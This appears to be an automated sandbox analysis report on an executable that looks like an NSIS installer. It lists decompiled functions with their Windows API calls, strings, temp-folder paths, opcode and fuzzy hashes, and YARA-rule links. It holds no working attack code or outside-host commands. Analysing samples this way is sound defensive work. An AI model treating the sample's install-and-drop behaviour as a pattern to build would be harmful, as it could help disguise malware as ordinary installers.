Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: File$Find$lstrcatlstrlen$AttributesCloseDeleteFirstNext
String ID: \*.*
API String ID: 2636146433-1173974218
Opcode ID: 0962212a27e10f8c29849c35d287c52ef14dcf59cdd65fcf28beb03e610e8e2c
Instruction ID: ed3bb2814488eceec14de134e67e78f5f853c3bf88eed2e9a0dc8686b927a400
Opcode Fuzzy Hash: 0962212a27e10f8c29849c35d287c52ef14dcf59cdd65fcf28beb03e610e8e2c
Instruction Fuzzy Hash: E841193210671069D7207B399D45A6B76E8DF81318F12453FF883B21D1EB7C8C6686AF

Function 004065AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,00427648,00000000,00406657,00425A48), ref: 004065B5
FindClose.KERNEL32(00000000), ref: 004065C1

Strings

HvB, xrefs: 004065AB

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: HvB
API String ID: 2295610775-1619000230
Opcode ID: 1a79fd4cd6ac794e938e769cbdac9cc28720eba36b1ba893e73712489ff4ef95
Instruction ID: d1368554cb410e246732b21b307163ecdbcfd804cd616700c419d461b784c5b9
Opcode Fuzzy Hash: 1a79fd4cd6ac794e938e769cbdac9cc28720eba36b1ba893e73712489ff4ef95
Instruction Fuzzy Hash: 72D0123155A1206FC25057387E0C84B7A999F153717518B36B0A6F11E4C7348C6686AD

Function 00405A19 Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 225
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004068C1: GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EB,0000000B), ref: 004068CF
Part of subcall function 004068C1: GetProcAddress.KERNEL32(00000000), ref: 004068EB

lstrcatW.KERNEL32(1033,004211D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004211D0,00000000,00000002,00000000,76073420,00000000,76073170), ref: 00405A9C
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising,1033,004211D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004211D0,00000000,00000002,00000000), ref: 00405B20
lstrcmpiW.KERNEL32(-000000FC,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising,1033,004211D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004211D0,00000000), ref: 00405B35
GetFileAttributesW.KERNEL32(Call), ref: 00405B40
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising), ref: 00405B89

Part of subcall function 004065FA: wsprintfW.USER32 ref: 00406607

RegisterClassW.USER32(00428CA0), ref: 00405BCE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405BE5
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405C1A
ShowWindow.USER32(00000005,00000000), ref: 00405C4C
GetClassInfoW.USER32(00000000,RichEdit20W,00428CA0), ref: 00405C77
GetClassInfoW.USER32(00000000,RichEdit,00428CA0), ref: 00405C84
RegisterClassW.USER32(00428CA0), ref: 00405C91
DialogBoxParamW.USER32(?,00000000,00404F6D,00000000), ref: 00405CAC

Strings

.DEFAULT\Control Panel\International, xrefs: 00405A87
Control Panel\Desktop\ResourceLocale, xrefs: 00405A59
1033, xrefs: 00405A3C, 00405A60, 00405A97
RichEd32, xrefs: 00405C60
RichEdit, xrefs: 00405C7E
RichEd20, xrefs: 00405C52
RichEdit20W, xrefs: 00405C71, 00405C87
.exe, xrefs: 00405B2F
_Nb, xrefs: 00405BAD, 00405C14
Call, xrefs: 00405AE1, 00405AEA, 00405AFB, 00405B4F, 00405B55
C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising, xrefs: 00405AAB, 00405ABD, 00405B5C, 00405B62, 00405B72

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2089972381
Opcode ID: 7826c34372ab1de799e47c1a445c5beb8b4d289113b4383a7413856266521f1e
Instruction ID: 997547c739dba09290e01480a6769471c967da196cfb38af9b733d4135fa1862
Opcode Fuzzy Hash: 7826c34372ab1de799e47c1a445c5beb8b4d289113b4383a7413856266521f1e
Instruction Fuzzy Hash: 1A610370201601BAE620AB76AD42F2B366CEB04758F51443FF945B62E1DF78AC018B7D

Function 0040154A Relevance: 37.2, APIs: 17, Strings: 4, Instructions: 441
stringtimesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 004015F1
Sleep.KERNELBASE(00000001,?,00000000,00000000), ref: 00401628
SetForegroundWindow.USER32 ref: 00401634
ShowWindow.USER32(00000000,00000000,?,?,00000000,00000000), ref: 004016D3
ShowWindow.USER32(00000000,?,?,?,00000000,00000000), ref: 004016E8
SetFileAttributesW.KERNELBASE(00000000,?,000000F0,?,?,00000000,00000000), ref: 004016FB
GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0,?,?,00000000,00000000), ref: 0040176A
SetCurrentDirectoryW.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic,00000000,000000E6,C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll), ref: 004017A3
MoveFileW.KERNEL32(00000000,00000000), ref: 004017EE
GetFullPathNameW.KERNEL32(00000000,00000400,00000000,?,00000000,000000E3,C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll,?,?,00000000,00000000), ref: 00401843
GetShortPathNameW.KERNEL32(00000000,00000000,00000400), ref: 00401890
SearchPathW.KERNELBASE(00000000,00000000,00000000,00000400,00000000,?,000000FF,?,?,00000000,00000000), ref: 004018B0
lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic,00000000,00000000,00000031,00000000,00000000,000000EF,?,?,00000000,00000000), ref: 00401920
CompareFileTime.KERNEL32(-00000014,00000000,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic,00000000,00000000,00000031,00000000,00000000,000000EF), ref: 00401948
SetFileTime.KERNELBASE(00000000,000000FF,00000000,000000FF,?,00000000,00000000,00000000,000000EA,00000000,Call,40000000,00000001,Call,00000000), ref: 00401A5A
CloseHandle.KERNELBASE(00000000), ref: 00401A61
lstrcatW.KERNEL32(Call,00000000,Call,000000E9), ref: 00401A82

Strings

Call, xrefs: 004018FC, 00401906, 00401913, 00401925, 00401933, 00401968, 0040197C, 004019A2, 004019EA, 00401A7A, 00401A81, 00401A8B, 00401A96
C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll, xrefs: 00401789, 004017F8, 00401823, 004019B1, 004019D2
C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp, xrefs: 00401998, 004019BB
C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic, xrefs: 00401798, 0040190E

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: File$PathWindow$AttributesNameShowTimelstrcat$CloseCompareCurrentDirectoryForegroundFullHandleMessageMovePostQuitSearchShortSleep
String ID: C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic$C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp$C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll$Call
API String ID: 3895412863-3996529617
Opcode ID: 238787bc3330ffadc63c006c1272a0d69737eff9e1560c5150495ef8301945b7
Instruction ID: ebeff723cfbe9b45e3b0b0a6f17a4e6c0cbf30734010ce9bbeaf93aeca8f714e
Opcode Fuzzy Hash: 238787bc3330ffadc63c006c1272a0d69737eff9e1560c5150495ef8301945b7
Instruction Fuzzy Hash: 93D1F971614301ABC720BF26CD85D2B76A8EF85758F10463FF452B22E1DB7CD8029A6E

Function 004033C8 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 178
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033DB
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\temp_executable.exe,00000400,?,?,?,?,?), ref: 004033F7

Part of subcall function 004068F6: GetFileAttributesW.KERNELBASE(00000003,0040340A,C:\Users\user\AppData\Local\Temp\temp_executable.exe,80000000,00000003,?,?,?,?,?), ref: 004068FA
Part of subcall function 004068F6: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000000,00000000,?,?,?,?,?), ref: 0040691A

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\temp_executable.exe,C:\Users\user\AppData\Local\Temp\temp_executable.exe,80000000,00000003,?,?,?,?,?), ref: 00403441
GlobalAlloc.KERNELBASE(00000040,?,?,?,?,?,?), ref: 0040359B

Strings

Null, xrefs: 004034C9
Inst, xrefs: 004034B5
soft, xrefs: 004034BF
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004033CE
C:\Users\user\AppData\Local\Temp, xrefs: 00403422, 00403427, 0040342D
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 0040361B
Error launching installer, xrefs: 00403417
C:\Users\user\AppData\Local\Temp\temp_executable.exe, xrefs: 004033E6, 004033F0, 00403404, 00403421

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\temp_executable.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3442550413
Opcode ID: af579b943b1a820c08da397bdaa69b1d5dd35135494c3e1d3694e7b1604b832a
Instruction ID: a22a3d629960f4d7b6f8438a3768dc05bd31f949a9b5a180d7de35419ae1bb07
Opcode Fuzzy Hash: af579b943b1a820c08da397bdaa69b1d5dd35135494c3e1d3694e7b1604b832a
Instruction Fuzzy Hash: 2B51EE71640300AFD720AF21DD81B1B7AA8AB88719F10493FF985772E1C7398E458B6E

Function 00405E95 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00405FBF

Part of subcall function 00406AF5: lstrcpynW.KERNEL32(?,?,00000400,0040384C,Sortkridts Setup,NSIS Error), ref: 00406B02

Part of subcall function 00406D18: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406D8D
Part of subcall function 00406D18: CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
Part of subcall function 00406D18: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DA1
Part of subcall function 00406D18: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DB9

GetWindowsDirectoryW.KERNEL32(Call,00000400,00424200,?,00000000,?,?,?,00000000,?,?), ref: 00405FD2
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,00000000,?,?,?,00000000,?,?), ref: 0040604B
lstrlenW.KERNEL32(Call,00424200,?,00000000,?,?,?,00000000,?,?), ref: 004060A5

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405F8A
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406045
Call, xrefs: 00405EB7, 00405F85, 00405FA9, 00405FBE, 00405FD1, 00405FE4, 00406011, 0040604A, 00406051, 0040606D, 00406080, 0040608E, 0040609E, 004060A4, 004060CB, 004060E7

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$Directory$PrevSystemWindowslstrcatlstrcpynlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4187626192-1230650788
Opcode ID: e881fb0b28361bdc3f8f7ae5213684426e418320bb2e4e194c901d83aeea876e
Instruction ID: 94fe74e46bfd99ff5e6600c27bcf33d7150fb5fb58e2d65541bf0035bd99d3a3
Opcode Fuzzy Hash: e881fb0b28361bdc3f8f7ae5213684426e418320bb2e4e194c901d83aeea876e
Instruction Fuzzy Hash: 0F61E5312442159BDB20AB288D40A3B77A4EF58750F11443FF986F72D1DB7CD9219BAE

Function 0040291D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(00000000,?,?,?), ref: 00402994
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004029D4
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402A07
MultiByteToWideChar.KERNEL32(?,00000008,?,?,00000001,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402A1F
SetFilePointer.KERNEL32(?,?,?,00000001,00000000,?,00000002), ref: 00402ADC

Strings

9, xrefs: 00402975

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: File$ByteCharMultiPointerWide$Read
String ID: 9
API String ID: 1439708474-2366072709
Opcode ID: e380a6304de75cf0a531b116984dfc1ce0981d79b9e21712f5d5f7ee8832471f
Instruction ID: 06df5d1e4fd17f9c1e4dafe2560c0fdc737aa95be89056b4b35a237a27527231
Opcode Fuzzy Hash: e380a6304de75cf0a531b116984dfc1ce0981d79b9e21712f5d5f7ee8832471f
Instruction Fuzzy Hash: 305139B1618341AFD724DF11CA44A2BB7E8BFD5304F00483FF985A62D0DBB9D9458B6A

Function 00406179 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406190
wsprintfW.USER32 ref: 004061CC
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E0

Strings

UXTHEME, xrefs: 00406188
\, xrefs: 004061A1
%s%S.dll, xrefs: 004061C6

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction ID: b03dfa9df8f17b5f94e80c11c2028c51dcc2a5658fc7e28beebe443f54a48520
Opcode Fuzzy Hash: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction Fuzzy Hash: 07F0BB7150161457D710BB64DE0DB96366CEB00304F54447AA646F62C1EB7C9A54CB9C

Function 00406A31 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406A4D
GetTempFileNameW.KERNELBASE(?,0073006E,00000000,?,?,?,00000000,00403CAF,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406A68

Strings

a, xrefs: 00406A46
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406A3A
n, xrefs: 00406A3F
C:\Users\user\AppData\Local\Temp\, xrefs: 00406A36

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$Error writing temporary file. Make sure your temp folder is valid.$a$n
API String ID: 1716503409-3027303449
Opcode ID: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction ID: b372954d90286b94022032574b0bf3fdd655f2b9327b001c14c93946e7bfd4ef
Opcode Fuzzy Hash: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction Fuzzy Hash: 1CF0BE72300208BBEB109F44DC09BDE7779EF81710F11C03BE941BB180E6B05A5487A4

Function 00403148 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004031B6
GetTickCount.KERNEL32 ref: 00403245
MulDiv.KERNEL32(?,00000064,?), ref: 00403275
wsprintfW.USER32 ref: 00403286

Part of subcall function 00403131: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004035B2,?,?,?,?,?,?), ref: 0040313F

Strings

... %d%%, xrefs: 00403280

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CountTick$FilePointerwsprintf
String ID: ... %d%%
API String ID: 999035486-2449383134
Opcode ID: d68cc013f84ddd4098e5109656f36c67c49075f4e8b7d96d56d891499f5968f3
Instruction ID: b14d6756c9ad048cc293c005f1ed80a68e2f1ec6eb458bfd39e289cb7134058b
Opcode Fuzzy Hash: d68cc013f84ddd4098e5109656f36c67c49075f4e8b7d96d56d891499f5968f3
Instruction Fuzzy Hash: CB516E716083429BD710AF269A85A2B7BD9AB84345F044A3FFC55E32D1DB38DA048B5E

Function 0040141E Relevance: 7.6, APIs: 5, Instructions: 82
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00401486
